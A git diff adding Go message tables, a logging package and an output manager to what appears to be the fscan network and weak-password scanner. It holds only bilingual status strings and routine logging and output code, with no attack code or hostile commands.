默认凭证可用 %s:%s", + LangEN: "Neo4j service %s default credentials available %s:%s", + }, + "neo4j_auth_success": { + LangZH: "Neo4j服务 %s 认证成功 %s:%s", + LangEN: "Neo4j service %s authentication successful %s:%s", + }, + "neo4j_service_identified": { + LangZH: "Neo4j服务识别成功: %s - %s", + LangEN: "Neo4j service identified: %s - %s", + }, + "neo4j_connection_failed": { + LangZH: "Neo4j连接失败: %v", + LangEN: "Neo4j connection failed: %v", + }, + "neo4j_auth_failed": { + LangZH: "Neo4j认证失败 %s: %v", + LangEN: "Neo4j authentication failed %s: %v", + }, + + // ========================= PostgreSQL插件消息 ========================= + "postgresql_auth_success": { + LangZH: "PostgreSQL服务 %s 认证成功 %s:%s", + LangEN: "PostgreSQL service %s authentication successful %s:%s", + }, + "postgresql_service_identified": { + LangZH: "PostgreSQL服务识别成功: %s - %s", + LangEN: "PostgreSQL service identified: %s - %s", + }, + "postgresql_connection_failed": { + LangZH: "PostgreSQL连接失败: %v", + LangEN: "PostgreSQL connection failed: %v", + }, + "postgresql_auth_failed": { + LangZH: "PostgreSQL认证失败 %s: %v", + LangEN: "PostgreSQL authentication failed %s: %v", + }, + + // ========================= Oracle插件消息 ========================= + "oracle_auth_success": { + LangZH: "Oracle服务 %s 认证成功 %s:%s", + LangEN: "Oracle service %s authentication successful %s:%s", + }, + "oracle_sys_auth_success": { + LangZH: "Oracle服务 %s 高危用户认证成功 %s:%s (可能需要SYSDBA权限)", + LangEN: "Oracle service %s high-risk user authentication successful %s:%s (may require SYSDBA privilege)", + }, + "oracle_service_identified": { + LangZH: "Oracle服务识别成功: %s - %s", + LangEN: "Oracle service identified: %s - %s", + }, + "oracle_connection_failed": { + LangZH: "Oracle连接失败: %v", + LangEN: "Oracle connection failed: %v", + }, + "oracle_auth_failed": { + LangZH: "Oracle认证失败 %s: %v", + LangEN: "Oracle authentication failed %s: %v", + }, + + // ========================= POP3插件消息 ========================= + "pop3_weak_pwd_success": { + LangZH: "POP3弱密码: %s [%s:%s]", + LangEN: "POP3 weak password: %s [%s:%s]", + }, + "pop3_service_identified": { + LangZH: "POP3服务识别成功: %s - %s", + LangEN: "POP3 service identified: %s - %s", + }, + "pop3_connection_failed": { + LangZH: "POP3连接失败: %v", + LangEN: "POP3 connection failed: %v", + }, + "pop3_auth_failed": { + LangZH: "POP3认证失败: %v", + LangEN: "POP3 authentication failed: %v", + }, + + // ========================= RabbitMQ插件消息 ========================= + "rabbitmq_weak_pwd_success": { + LangZH: "RabbitMQ弱密码: %s [%s:%s]", + LangEN: "RabbitMQ weak password: %s [%s:%s]", + }, + "rabbitmq_service_identified": { + LangZH: "RabbitMQ服务识别成功: %s - %s", + LangEN: "RabbitMQ service identified: %s - %s", + }, + "rabbitmq_connection_failed": { + LangZH: "RabbitMQ连接失败: %v", + LangEN: "RabbitMQ connection failed: %v", + }, + "rabbitmq_auth_failed": { + LangZH: "RabbitMQ认证失败: %v", + LangEN: "RabbitMQ authentication failed: %v", + }, + + // ========================= Rsync插件消息 ========================= + "rsync_anonymous_success": { + LangZH: "Rsync匿名访问: %s", + LangEN: "Rsync anonymous access: %s", + }, + "rsync_weak_pwd_success": { + LangZH: "Rsync弱密码: %s [%s:%s]", + LangEN: "Rsync weak password: %s [%s:%s]", + }, + "rsync_service_identified": { + LangZH: "Rsync服务识别成功: %s - %s", + LangEN: "Rsync service identified: %s - %s", + }, + "rsync_connection_failed": { + LangZH: "Rsync连接失败: %v", + LangEN: "Rsync connection failed: %v", + }, + "rsync_auth_failed": { + LangZH: "Rsync认证失败: %v", + LangEN: "Rsync authentication failed: %v", + }, + + // ========================= SMTP插件消息 ========================= + "smtp_anonymous_success": { + LangZH: "SMTP匿名访问: %s", + LangEN: "SMTP anonymous access: %s", + }, + "smtp_weak_pwd_success": { + LangZH: "SMTP弱密码: %s [%s:%s]", + LangEN: "SMTP weak password: %s [%s:%s]", + }, + "smtp_service_identified": { + LangZH: "SMTP服务识别成功: %s - %s", + LangEN: "SMTP service identified: %s - %s", + }, + "smtp_connection_failed": { + LangZH: "SMTP连接失败: %v", + LangEN: "SMTP connection failed: %v", + }, + "smtp_auth_failed": { + LangZH: "SMTP认证失败: %v", + LangEN: "SMTP authentication failed: %v", + }, + + // ========================= SNMP插件消息 ========================= + "snmp_weak_community_success": { + LangZH: "SNMP弱community: %s [%s]", + LangEN: "SNMP weak community: %s [%s]", + }, + "snmp_service_identified": { + LangZH: "SNMP服务识别成功: %s - %s", + LangEN: "SNMP service identified: %s - %s", + }, + "snmp_connection_failed": { + LangZH: "SNMP连接失败: %v", + LangEN: "SNMP connection failed: %v", + }, + "snmp_auth_failed": { + LangZH: "SNMP认证失败: %v", + LangEN: "SNMP authentication failed: %v", + }, + + // ========================= Telnet插件消息 ========================= + "telnet_weak_password_success": { + LangZH: "Telnet弱密码: %s 用户名:%s 密码:%s", + LangEN: "Telnet weak password: %s username:%s password:%s", + }, + "telnet_unauthorized_access": { + LangZH: "Telnet无需认证: %s", + LangEN: "Telnet unauthorized access: %s", + }, + "telnet_connection_failed": { + LangZH: "Telnet连接失败: %v", + LangEN: "Telnet connection failed: %v", + }, + "telnet_auth_failed": { + LangZH: "Telnet认证失败: %v", + LangEN: "Telnet authentication failed: %v", + }, +} \ No newline at end of file diff --git a/common/i18n/messages/scan.go b/common/i18n/messages/scan.go new file mode 100644 index 0000000..86601ba --- /dev/null +++ b/common/i18n/messages/scan.go @@ -0,0 +1,287 @@ +package messages + +/* +scan.go - 扫描相关消息 + +包含扫描流程、模式选择、插件管理等相关的 +国际化消息定义。 +*/ + +// ScanMessages 扫描相关消息 +var ScanMessages = map[string]map[string]string{ + // ========================= 扫描流程消息 ========================= + "scan_mode_service_selected": { + LangZH: "已选择服务扫描模式", + LangEN: "Service scan mode selected", + }, + "scan_mode_alive_selected": { + LangZH: "已选择存活探测模式", + LangEN: "Alive detection mode selected", + }, + "scan_mode_local_selected": { + LangZH: "已选择本地扫描模式", + LangEN: "Local scan mode selected", + }, + "scan_mode_web_selected": { + LangZH: "已选择Web扫描模式", + LangEN: "Web scan mode selected", + }, + "scan_info_start": { + LangZH: "开始信息扫描", + LangEN: "Starting information scan", + }, + "scan_host_start": { + LangZH: "开始主机扫描", + LangEN: "Starting host scan", + }, + "scan_vulnerability_start": { + LangZH: "开始漏洞扫描", + LangEN: "Starting vulnerability scan", + }, + "scan_service_plugins": { + LangZH: "使用服务扫描插件: %s", + LangEN: "Using service scan plugins: %s", + }, + "scan_no_service_plugins": { + LangZH: "未找到可用的服务插件", + LangEN: "No available service plugins found", + }, + "scan_vulnerability_plugins": { + LangZH: "使用漏洞扫描插件: %s", + LangEN: "Using vulnerability scan plugins: %s", + }, + "scan_no_vulnerability_plugins": { + LangZH: "未找到可用的漏洞扫描插件", + LangEN: "No available vulnerability scan plugins found", + }, + "scan_complete_ports_found": { + LangZH: "扫描完成, 发现 %d 个开放端口", + LangEN: "Scan completed, found %d open ports", + }, + "scan_alive_ports_count": { + LangZH: "存活端口数量: %d", + LangEN: "Alive ports count: %d", + }, + "scan_snmp_udp_ports_added": { + LangZH: "检测到SNMP端口161,添加UDP端口到扫描目标", + LangEN: "Detected SNMP port 161, adding UDP ports to scan targets", + }, + "scan_task_complete": { + LangZH: "扫描已完成: %d/%d", + LangEN: "Scan completed: %d/%d", + }, + + // ========================= 扫描错误消息 ========================= + "scan_plugin_panic": { + LangZH: "[PANIC] 插件 %s 扫描 %s:%s 时崩溃: %v", + LangEN: "[PANIC] Plugin %s crashed while scanning %s:%s: %v", + }, + "scan_plugin_not_found": { + LangZH: "扫描类型 %v 无对应插件,已跳过", + LangEN: "No plugin found for scan type %v, skipped", + }, + "scan_plugin_error": { + LangZH: "扫描错误 %v:%v - %v", + LangEN: "Scan error %v:%v - %v", + }, + + // ========================= 扫描器插件消息 ========================= + "scan_local_start": { + LangZH: "开始本地信息收集", + LangEN: "Starting local information collection", + }, + "scan_service_start": { + LangZH: "开始服务扫描", + LangEN: "Starting service scan", + }, + "scan_web_start": { + LangZH: "开始Web扫描", + LangEN: "Starting web scan", + }, + "scan_general_start": { + LangZH: "开始扫描", + LangEN: "Starting scan", + }, + "scan_mode_local_prefix": { + LangZH: "本地模式", + LangEN: "Local mode", + }, + "scan_mode_service_prefix": { + LangZH: "服务模式", + LangEN: "Service mode", + }, + "scan_mode_web_prefix": { + LangZH: "Web模式", + LangEN: "Web mode", + }, + "scan_plugins_local": { + LangZH: "使用本地插件: %s", + LangEN: "Using local plugins: %s", + }, + "scan_plugins_service": { + LangZH: "使用服务插件: %s", + LangEN: "Using service plugins: %s", + }, + "scan_plugins_web": { + LangZH: "使用Web插件: %s", + LangEN: "Using web plugins: %s", + }, + "scan_plugins_custom_specified": { + LangZH: "使用指定插件: %s", + LangEN: "Using specified plugins: %s", + }, + "scan_no_local_plugins": { + LangZH: "未找到可用的本地插件", + LangEN: "No available local plugins found", + }, + "scan_no_web_plugins": { + LangZH: "未找到可用的Web插件", + LangEN: "No available web plugins found", + }, + "scan_strategy_local_name": { + LangZH: "本地扫描", + LangEN: "Local Scan", + }, + "scan_strategy_local_desc": { + LangZH: "收集本地系统信息", + LangEN: "Collect local system information", + }, + "scan_strategy_service_name": { + LangZH: "服务扫描", + LangEN: "Service Scan", + }, + "scan_strategy_service_desc": { + LangZH: "扫描主机服务和漏洞", + LangEN: "Scan host services and vulnerabilities", + }, + "scan_strategy_web_name": { + LangZH: "Web扫描", + LangEN: "Web Scan", + }, + "scan_strategy_web_desc": { + LangZH: "扫描Web应用漏洞和信息", + LangEN: "Scan web application vulnerabilities and information", + }, + "scan_alive_hosts_count": { + LangZH: "存活主机数量: %d", + LangEN: "Alive hosts count: %d", + }, + "scan_strategy_alive_name": { + LangZH: "存活探测", + LangEN: "Alive Detection", + }, + "scan_strategy_alive_desc": { + LangZH: "快速探测主机存活状态", + LangEN: "Fast detection of host alive status", + }, + "scan_alive_start": { + LangZH: "开始存活探测", + LangEN: "Starting alive detection", + }, + "scan_alive_single_target": { + LangZH: "目标主机: %s", + LangEN: "Target host: %s", + }, + "scan_alive_multiple_targets": { + LangZH: "目标主机数量: %d (示例: %s)", + LangEN: "Target hosts count: %d (example: %s)", + }, + "scan_alive_summary_title": { + LangZH: "存活探测结果摘要", + LangEN: "Alive Detection Summary", + }, + "scan_alive_total_hosts": { + LangZH: "总主机数: %d", + LangEN: "Total hosts: %d", + }, + "scan_alive_hosts_found": { + LangZH: "存活主机: %d", + LangEN: "Alive hosts: %d", + }, + "scan_alive_dead_hosts": { + LangZH: "死亡主机: %d", + LangEN: "Dead hosts: %d", + }, + "scan_alive_success_rate": { + LangZH: "存活率: %.2f%%", + LangEN: "Success rate: %.2f%%", + }, + "scan_alive_duration": { + LangZH: "扫描耗时: %v", + LangEN: "Scan duration: %v", + }, + "scan_alive_hosts_list": { + LangZH: "存活主机列表:", + LangEN: "Alive hosts list:", + }, + "target_alive": { + LangZH: "存活主机: %s (%s)", + LangEN: "Alive host: %s (%s)", + }, + + // ========================= 进度条消息 ========================= + "progress_scanning_description": { + LangZH: "扫描进度", + LangEN: "Scanning Progress", + }, + "progress_port_scanning": { + LangZH: "端口扫描", + LangEN: "Port Scanning", + }, + "progress_port_scanning_with_threads": { + LangZH: "端口扫描 (线程:%d)", + LangEN: "Port Scanning (Threads:%d)", + }, + "progress_scan_completed": { + LangZH: "扫描完成:", + LangEN: "Scan Completed:", + }, + "progress_port_scan_completed": { + LangZH: "端口扫描完成:", + LangEN: "Port Scan Completed:", + }, + "progress_open_ports": { + LangZH: "开放端口", + LangEN: "Open Ports", + }, + + // ========================= 并发状态消息 ========================= + "concurrency_plugin": { + LangZH: "插件", + LangEN: "Plugins", + }, + "concurrency_connection": { + LangZH: "连接", + LangEN: "Conns", + }, + "concurrency_plugin_tasks": { + LangZH: "活跃插件任务", + LangEN: "Active Plugin Tasks", + }, + "concurrency_connection_details": { + LangZH: "连接详情", + LangEN: "Connection Details", + }, + "concurrency_no_active_tasks": { + LangZH: "无活跃任务", + LangEN: "No Active Tasks", + }, + + // ========================= 扫描配置消息 ========================= + "scan_config_thread_num": { + LangZH: "端口扫描线程数: %d", + LangEN: "Port scan threads: %d", + }, + "scan_config_timeout": { + LangZH: "连接超时: %ds", + LangEN: "Connection timeout: %ds", + }, + "scan_config_module_thread_num": { + LangZH: "插件内线程数: %d", + LangEN: "Plugin threads: %d", + }, + "scan_config_global_timeout": { + LangZH: "单个插件全局超时: %ds", + LangEN: "Plugin global timeout: %ds", + }, +} \ No newline at end of file diff --git a/common/logging/Formatter.go b/common/logging/Formatter.go new file mode 100644 index 0000000..73a141b --- /dev/null +++ b/common/logging/Formatter.go @@ -0,0 +1,75 @@ +package logging + +import ( + "fmt" + "time" +) + +// StandardFormatter 标准日志格式化器 +type StandardFormatter struct { + startTime time.Time +} + +// NewStandardFormatter 创建标准格式化器 +func NewStandardFormatter() *StandardFormatter { + return &StandardFormatter{ + startTime: time.Now(), + } +} + +// SetStartTime 设置开始时间 +func (f *StandardFormatter) SetStartTime(startTime time.Time) { + f.startTime = startTime +} + +// Format 格式化日志条目 +func (f *StandardFormatter) Format(entry *LogEntry) string { + elapsed := time.Since(f.startTime) + timeStr := f.formatElapsedTime(elapsed) + prefix := f.getLevelPrefix(entry.Level) + + return fmt.Sprintf("[%s] %s %s", timeStr, prefix, entry.Content) +} + +// formatElapsedTime 格式化经过的时间 +func (f *StandardFormatter) formatElapsedTime(elapsed time.Duration) string { + switch { + case elapsed < MaxMillisecondDisplay: + // 毫秒显示,不需要小数 + return fmt.Sprintf("%dms", elapsed.Milliseconds()) + case elapsed < MaxSecondDisplay: + // 秒显示,保留一位小数 + return fmt.Sprintf("%.1fs", elapsed.Seconds()) + case elapsed < MaxMinuteDisplay: + // 分钟和秒显示 + minutes := int(elapsed.Minutes()) + seconds := int(elapsed.Seconds()) % 60 + return fmt.Sprintf("%dm%ds", minutes, seconds) + default: + // 小时、分钟和秒显示 + hours := int(elapsed.Hours()) + minutes := int(elapsed.Minutes()) % 60 + seconds := int(elapsed.Seconds()) % 60 + return fmt.Sprintf("%dh%dm%ds", hours, minutes, seconds) + } +} + +// getLevelPrefix 获取日志级别前缀 +func (f *StandardFormatter) getLevelPrefix(level LogLevel) string { + switch level { + case LevelSuccess: + return PrefixSuccess + case LevelInfo: + return PrefixInfo + case LevelError: + return PrefixError + default: + return PrefixDefault + } +} + +// ============================================================================================= +// 已删除的死代码(未使用): +// DetailedFormatter 及其 Format() 方法 +// JSONFormatter 及其 SetStartTime() 和 Format() 方法 +// ============================================================================================= diff --git a/common/logging/Logger.go b/common/logging/Logger.go new file mode 100644 index 0000000..3c3510f --- /dev/null +++ b/common/logging/Logger.go @@ -0,0 +1,315 @@ +package logging + +import ( + "fmt" + "io" + "log" + "path/filepath" + "runtime" + "sync" + "time" + + "github.com/fatih/color" +) + +// Logger 日志管理器 +type Logger struct { + mu sync.RWMutex + config *LoggerConfig + formatter LogFormatter + handlers []LogHandler + scanStatus *ScanStatus + progressBar ProgressDisplay + outputMutex *sync.Mutex + initialized bool +} + +// NewLogger 创建新的日志管理器 +func NewLogger(config *LoggerConfig) *Logger { + if config == nil { + config = DefaultLoggerConfig() + } + + logger := &Logger{ + config: config, + formatter: NewStandardFormatter(), + handlers: make([]LogHandler, 0), + scanStatus: NewScanStatus(), + outputMutex: &sync.Mutex{}, + initialized: true, + } + + // 设置格式化器的开始时间 + logger.formatter.SetStartTime(config.StartTime) + + // 添加默认的控制台处理器 + consoleHandler := NewConsoleHandler(config) + logger.AddHandler(consoleHandler) + + return logger +} + +// ============================================================================================= +// 已删除的死代码(未使用):SetFormatter 方法 +// ============================================================================================= + +// AddHandler 添加日志处理器 +func (l *Logger) AddHandler(handler LogHandler) { + l.mu.Lock() + defer l.mu.Unlock() + l.handlers = append(l.handlers, handler) +} + +// SetProgressBar 设置进度条显示 +func (l *Logger) SetProgressBar(progressBar ProgressDisplay) { + l.mu.Lock() + defer l.mu.Unlock() + l.progressBar = progressBar +} + +// SetOutputMutex 设置输出互斥锁 +func (l *Logger) SetOutputMutex(mutex *sync.Mutex) { + l.mu.Lock() + defer l.mu.Unlock() + l.outputMutex = mutex +} + +// SetCoordinatedOutput 设置协调输出函数(用于进度条协调) +func (l *Logger) SetCoordinatedOutput(fn func(string)) { + l.mu.RLock() + defer l.mu.RUnlock() + + for _, handler := range l.handlers { + if consoleHandler, ok := handler.(*ConsoleHandler); ok { + consoleHandler.SetCoordinatedOutput(fn) + } + } +} + +// Log 记录日志 +func (l *Logger) Log(level LogLevel, content string, metadata ...map[string]interface{}) { + if !l.shouldLog(level) { + return + } + + entry := &LogEntry{ + Level: level, + Time: time.Now(), + Content: content, + } + + // 添加元数据 + if len(metadata) > 0 { + entry.Metadata = metadata[0] + } + + // 对于错误级别,自动添加调用者信息 + if level == LevelError { + if _, file, line, ok := runtime.Caller(2); ok { + entry.Source = fmt.Sprintf("%s:%d", filepath.Base(file), line) + entry.Content = fmt.Sprintf("%s:%d - %s", filepath.Base(file), line, content) + } + } + + l.handleLogEntry(entry) + + // 更新扫描状态 + if level == LevelSuccess { + l.scanStatus.UpdateSuccess() + } else if level == LevelError { + l.scanStatus.UpdateError() + } +} + +// shouldLog 检查是否应该记录该级别的日志 +func (l *Logger) shouldLog(level LogLevel) bool { + switch l.config.Level { + case LevelAll: + return true + case LevelBaseInfoSuccess: + return level == LevelBase || level == LevelInfo || level == LevelSuccess + case LevelInfoSuccess: + return level == LevelInfo || level == LevelSuccess + case LevelError: + return level == LevelError + case LevelBase: + return level == LevelBase + case LevelInfo: + return level == LevelInfo + case LevelSuccess: + return level == LevelSuccess + case LevelDebug: + return level == LevelDebug + default: + // 向后兼容:如果是字符串 "debug",显示所有 + if l.config.Level == "debug" { + return true + } + // 默认显示base、info和success + return level == LevelBase || level == LevelInfo || level == LevelSuccess + } +} + +// handleLogEntry 处理日志条目 +func (l *Logger) handleLogEntry(entry *LogEntry) { + l.outputMutex.Lock() + defer l.outputMutex.Unlock() + + // 清除进度条 + l.clearProgress() + + // 使用所有处理器处理日志 + l.mu.RLock() + for _, handler := range l.handlers { + if handler.IsEnabled() { + handler.Handle(entry) + } + } + l.mu.RUnlock() + + // 恢复进度条 + l.restoreProgress() +} + +// clearProgress 清除进度条 +func (l *Logger) clearProgress() { + if l.progressBar != nil { + l.progressBar.Clear() // 忽略错误 + time.Sleep(ProgressClearDelay) + } +} + +// restoreProgress 恢复进度条 +func (l *Logger) restoreProgress() { + if l.progressBar != nil { + l.progressBar.RenderBlank() // 忽略错误 + } +} + +// 便利方法 +func (l *Logger) Debug(content string, metadata ...map[string]interface{}) { + l.Log(LevelDebug, content, metadata...) +} + +func (l *Logger) Base(content string, metadata ...map[string]interface{}) { + l.Log(LevelBase, content, metadata...) +} + +func (l *Logger) Info(content string, metadata ...map[string]interface{}) { + l.Log(LevelInfo, content, metadata...) +} + +func (l *Logger) Success(content string, metadata ...map[string]interface{}) { + l.Log(LevelSuccess, content, metadata...) +} + +func (l *Logger) Error(content string, metadata ...map[string]interface{}) { + l.Log(LevelError, content, metadata...) +} + +// ============================================================================================= +// 已删除的死代码(未使用):GetScanStatus 获取扫描状态管理器 +// ============================================================================================= + +// Initialize 初始化日志系统(兼容原接口) +func (l *Logger) Initialize() { + // 禁用标准日志输出 + log.SetOutput(io.Discard) +} + +// ConsoleHandler 控制台日志处理器 +type ConsoleHandler struct { + config *LoggerConfig + formatter LogFormatter + enabled bool + coordinatedOutput func(string) // 协调输出函数 + mu sync.RWMutex +} + +// NewConsoleHandler 创建控制台处理器 +func NewConsoleHandler(config *LoggerConfig) *ConsoleHandler { + formatter := NewStandardFormatter() + formatter.SetStartTime(config.StartTime) + + return &ConsoleHandler{ + config: config, + formatter: formatter, + enabled: true, + } +} + +// Handle 处理日志条目 +func (h *ConsoleHandler) Handle(entry *LogEntry) { + h.mu.RLock() + defer h.mu.RUnlock() + + if !h.enabled { + return + } + + // 使用自己的格式化器格式化消息 + logMsg := h.formatter.Format(entry) + + // 使用协调输出函数,如果设置了的话 + if h.coordinatedOutput != nil { + if h.config.EnableColor { + if colorAttr, ok := h.config.LevelColors[entry.Level]; ok { + if attr, ok := colorAttr.(color.Attribute); ok { + coloredMsg := color.New(attr).Sprint(logMsg) + h.coordinatedOutput(coloredMsg) + } else { + h.coordinatedOutput(logMsg) + } + } else { + h.coordinatedOutput(logMsg) + } + } else { + h.coordinatedOutput(logMsg) + } + } else { + // 回到原来的直接输出方式 + if h.config.EnableColor { + if colorAttr, ok := h.config.LevelColors[entry.Level]; ok { + if attr, ok := colorAttr.(color.Attribute); ok { + color.New(attr).Println(logMsg) + } else { + fmt.Println(logMsg) + } + } else { + fmt.Println(logMsg) + } + } else { + fmt.Println(logMsg) + } + } + + // 根据慢速输出设置决定是否添加延迟 + if h.config.SlowOutput { + time.Sleep(SlowOutputDelay) + } +} + +// SetEnabled 设置处理器启用状态 +func (h *ConsoleHandler) SetEnabled(enabled bool) { + h.mu.Lock() + defer h.mu.Unlock() + h.enabled = enabled +} + +// SetCoordinatedOutput 设置协调输出函数 +func (h *ConsoleHandler) SetCoordinatedOutput(fn func(string)) { + h.mu.Lock() + defer h.mu.Unlock() + h.coordinatedOutput = fn +} + +// IsEnabled 检查处理器是否启用 +func (h *ConsoleHandler) IsEnabled() bool { + h.mu.RLock() + defer h.mu.RUnlock() + return h.enabled +} + +// ============================================================================================= +// 已删除的死代码(未使用):CheckErrs 错误检查函数 +// ============================================================================================= diff --git a/common/logging/Types.go b/common/logging/Types.go new file mode 100644 index 0000000..3800a0f --- /dev/null +++ b/common/logging/Types.go @@ -0,0 +1,103 @@ +package logging + +import ( + "sync" + "time" +) + + +// LogEntry 定义单条日志的结构 +type LogEntry struct { + Level LogLevel `json:"level"` // 日志级别 + Time time.Time `json:"time"` // 日志时间 + Content string `json:"content"` // 日志内容 + Source string `json:"source"` // 日志来源 + Metadata map[string]interface{} `json:"metadata"` // 附加元数据 +} + +// LogFormatter 日志格式化器接口 +type LogFormatter interface { + Format(entry *LogEntry) string + SetStartTime(startTime time.Time) +} + +// LogHandler 日志处理器接口 +type LogHandler interface { + Handle(entry *LogEntry) + SetEnabled(enabled bool) + IsEnabled() bool +} + +// LoggerConfig 日志器配置 +type LoggerConfig struct { + Level LogLevel `json:"level"` // 日志级别 + EnableColor bool `json:"enable_color"` // 是否启用彩色输出 + SlowOutput bool `json:"slow_output"` // 是否启用慢速输出 + ShowProgress bool `json:"show_progress"` // 是否显示进度条 + StartTime time.Time `json:"start_time"` // 开始时间 + LevelColors map[LogLevel]interface{} `json:"-"` // 级别颜色映射 +} + +// DefaultLoggerConfig 默认日志器配置 +func DefaultLoggerConfig() *LoggerConfig { + return &LoggerConfig{ + Level: DefaultLevel, + EnableColor: DefaultEnableColor, + SlowOutput: DefaultSlowOutput, + ShowProgress: DefaultShowProgress, + StartTime: time.Now(), + LevelColors: convertColorMap(GetDefaultLevelColors()), + } +} + +// convertColorMap 将color.Attribute映射转换为interface{}映射 +func convertColorMap(colorMap map[LogLevel]interface{}) map[LogLevel]interface{} { + result := make(map[LogLevel]interface{}) + for k, v := range colorMap { + result[k] = v + } + return result +} + +// ScanStatus 扫描状态管理器 +type ScanStatus struct { + mu sync.RWMutex // 读写互斥锁 + total int64 // 总任务数 + completed int64 // 已完成任务数 + lastSuccess time.Time // 最近一次成功的时间 + lastError time.Time // 最近一次错误的时间 +} + +// NewScanStatus 创建新的扫描状态管理器 +func NewScanStatus() *ScanStatus { + now := time.Now() + return &ScanStatus{ + lastSuccess: now, + lastError: now, + } +} + +// UpdateSuccess 更新最后成功时间 +func (s *ScanStatus) UpdateSuccess() { + s.mu.Lock() + defer s.mu.Unlock() + s.lastSuccess = time.Now() +} + +// UpdateError 更新最后错误时间 +func (s *ScanStatus) UpdateError() { + s.mu.Lock() + defer s.mu.Unlock() + s.lastError = time.Now() +} + +// ============================================================================================= +// 已删除的死代码(未使用): +// GetLastSuccess, GetLastError, SetTotal, SetCompleted, GetProgress 方法 +// ============================================================================================= + +// ProgressDisplay 进度条显示接口 +type ProgressDisplay interface { + Clear() error + RenderBlank() error +} \ No newline at end of file diff --git a/common/logging/constants.go b/common/logging/constants.go new file mode 100644 index 0000000..84b3dc2 --- /dev/null +++ b/common/logging/constants.go @@ -0,0 +1,86 @@ +package logging + +/* +constants.go - 日志系统常量定义 + +统一管理common/logging包中的所有常量,便于查看和编辑。 +*/ + +import ( + "time" + + "github.com/fatih/color" +) + +// ============================================================================= +// 日志级别常量 (从Types.go迁移) +// ============================================================================= + +// LogLevel 日志级别类型 +type LogLevel string + +// 定义系统支持的日志级别常量 +const ( + LevelAll LogLevel = "ALL" // 显示所有级别日志 + LevelError LogLevel = "ERROR" // 仅显示错误日志 + LevelBase LogLevel = "BASE" // 仅显示基础信息日志 + LevelInfo LogLevel = "INFO" // 仅显示信息日志 + LevelSuccess LogLevel = "SUCCESS" // 仅显示成功日志 + LevelDebug LogLevel = "DEBUG" // 仅显示调试日志 + LevelInfoSuccess LogLevel = "INFO_SUCCESS" // 仅显示信息和成功日志 + LevelBaseInfoSuccess LogLevel = "BASE_INFO_SUCCESS" // 显示基础、信息和成功日志 +) + +// ============================================================================= +// 时间显示常量 (从Formatter.go迁移) +// ============================================================================= + +const ( + // 时间显示阈值 + MaxMillisecondDisplay = time.Second // 毫秒显示的最大时长 + MaxSecondDisplay = time.Minute // 秒显示的最大时长 + MaxMinuteDisplay = time.Hour // 分钟显示的最大时长 + + // 慢速输出延迟 + SlowOutputDelay = 50 * time.Millisecond + + // 进度条清除延迟 + ProgressClearDelay = 10 * time.Millisecond +) + +// ============================================================================= +// 日志前缀常量 (从Formatter.go迁移) +// ============================================================================= + +const ( + PrefixSuccess = "[+]" // 成功日志前缀 + PrefixInfo = "[*]" // 信息日志前缀 + PrefixError = "[-]" // 错误日志前缀 + PrefixDefault = " " // 默认日志前缀 +) + +// ============================================================================= +// 默认配置常量 +// ============================================================================= + +const ( + DefaultLevel = LevelAll // 默认日志级别 + DefaultEnableColor = true // 默认启用彩色输出 + DefaultSlowOutput = false // 默认不启用慢速输出 + DefaultShowProgress = true // 默认显示进度条 +) + +// ============================================================================= +// 默认颜色映射 +// ============================================================================= + +// GetDefaultLevelColors 获取默认的日志级别颜色映射 +func GetDefaultLevelColors() map[LogLevel]interface{} { + return map[LogLevel]interface{}{ + LevelError: color.FgBlue, // 错误日志显示蓝色 + LevelBase: color.FgYellow, // 基础日志显示黄色 + LevelInfo: color.FgGreen, // 信息日志显示绿色 + LevelSuccess: color.FgRed, // 成功日志显示红色 + LevelDebug: color.FgWhite, // 调试日志显示白色 + } +} \ No newline at end of file diff --git a/common/output/Manager.go b/common/output/Manager.go new file mode 100644 index 0000000..ada1c23 --- /dev/null +++ b/common/output/Manager.go @@ -0,0 +1,256 @@ +package output + +import ( + "fmt" + "os" + "path/filepath" + "sync" + "time" + + "github.com/shadow1ng/fscan/common/i18n" +) + +// Manager 输出管理器 +type Manager struct { + mu sync.RWMutex + config *ManagerConfig + writer OutputWriter + reader OutputReader + statistics *Statistics + buffer []*ScanResult + bufferMutex sync.Mutex + flushTicker *time.Ticker + stopChan chan struct{} + initialized bool + closed bool +} + +// NewManager 创建新的输出管理器 +func NewManager(config *ManagerConfig) (*Manager, error) { + if config == nil { + return nil, fmt.Errorf(i18n.GetText("output_config_nil")) + } + + // 验证输出格式 + if err := validateFormat(config.Format); err != nil { + return nil, err + } + + // 创建输出目录 + if err := createOutputDir(config.OutputPath); err != nil { + return nil, err + } + + manager := &Manager{ + config: config, + statistics: NewStatistics(), + stopChan: make(chan struct{}), + } + + // 初始化写入器 + if err := manager.initializeWriter(); err != nil { + return nil, err + } + + // 初始化读取器 + manager.initializeReader() + + // 如果启用缓冲,初始化缓冲区 + if config.EnableBuffer { + manager.buffer = make([]*ScanResult, 0, config.BufferSize) + + // 如果启用自动刷新,启动定时器 + if config.AutoFlush { + manager.startAutoFlush() + } + } + + manager.initialized = true + return manager, nil +} + +// validateFormat 验证输出格式 +func validateFormat(format OutputFormat) error { + switch format { + case FormatTXT, FormatJSON, FormatCSV: + return nil + default: + return fmt.Errorf(i18n.GetText("output_unsupported_format"), format) + } +} + +// createOutputDir 创建输出目录 +func createOutputDir(outputPath string) error { + dir := filepath.Dir(outputPath) + return os.MkdirAll(dir, DefaultDirPermissions) +} + +// initializeWriter 初始化写入器 +func (m *Manager) initializeWriter() error { + var writer OutputWriter + var err error + + switch m.config.Format { + case FormatTXT: + writer, err = NewTXTWriter(m.config.OutputPath) + case FormatJSON: + writer, err = NewJSONWriter(m.config.OutputPath) + case FormatCSV: + writer, err = NewCSVWriter(m.config.OutputPath) + default: + return fmt.Errorf(i18n.GetText("output_unsupported_format"), m.config.Format) + } + + if err != nil { + return fmt.Errorf(i18n.GetText("output_writer_init_failed"), err) + } + + m.writer = writer + + // 写入头部(如果需要) + return m.writer.WriteHeader() +} + +// initializeReader 初始化读取器 +func (m *Manager) initializeReader() { + // 目前只有CSV格式支持读取 + if m.config.Format == FormatCSV { + m.reader = NewCSVReader(m.config.OutputPath) + } +} + +// startAutoFlush 启动自动刷新 +func (m *Manager) startAutoFlush() { + m.flushTicker = time.NewTicker(m.config.FlushInterval) + go func() { + for { + select { + case <-m.flushTicker.C: + m.flushBuffer() + case <-m.stopChan: + return + } + } + }() +} + +// SaveResult 保存扫描结果 +func (m *Manager) SaveResult(result *ScanResult) error { + m.mu.RLock() + defer m.mu.RUnlock() + + if !m.initialized { + return fmt.Errorf(i18n.GetText("output_manager_not_init")) + } + + if m.closed { + return fmt.Errorf(i18n.GetText("output_manager_closed")) + } + + // 更新统计信息 + 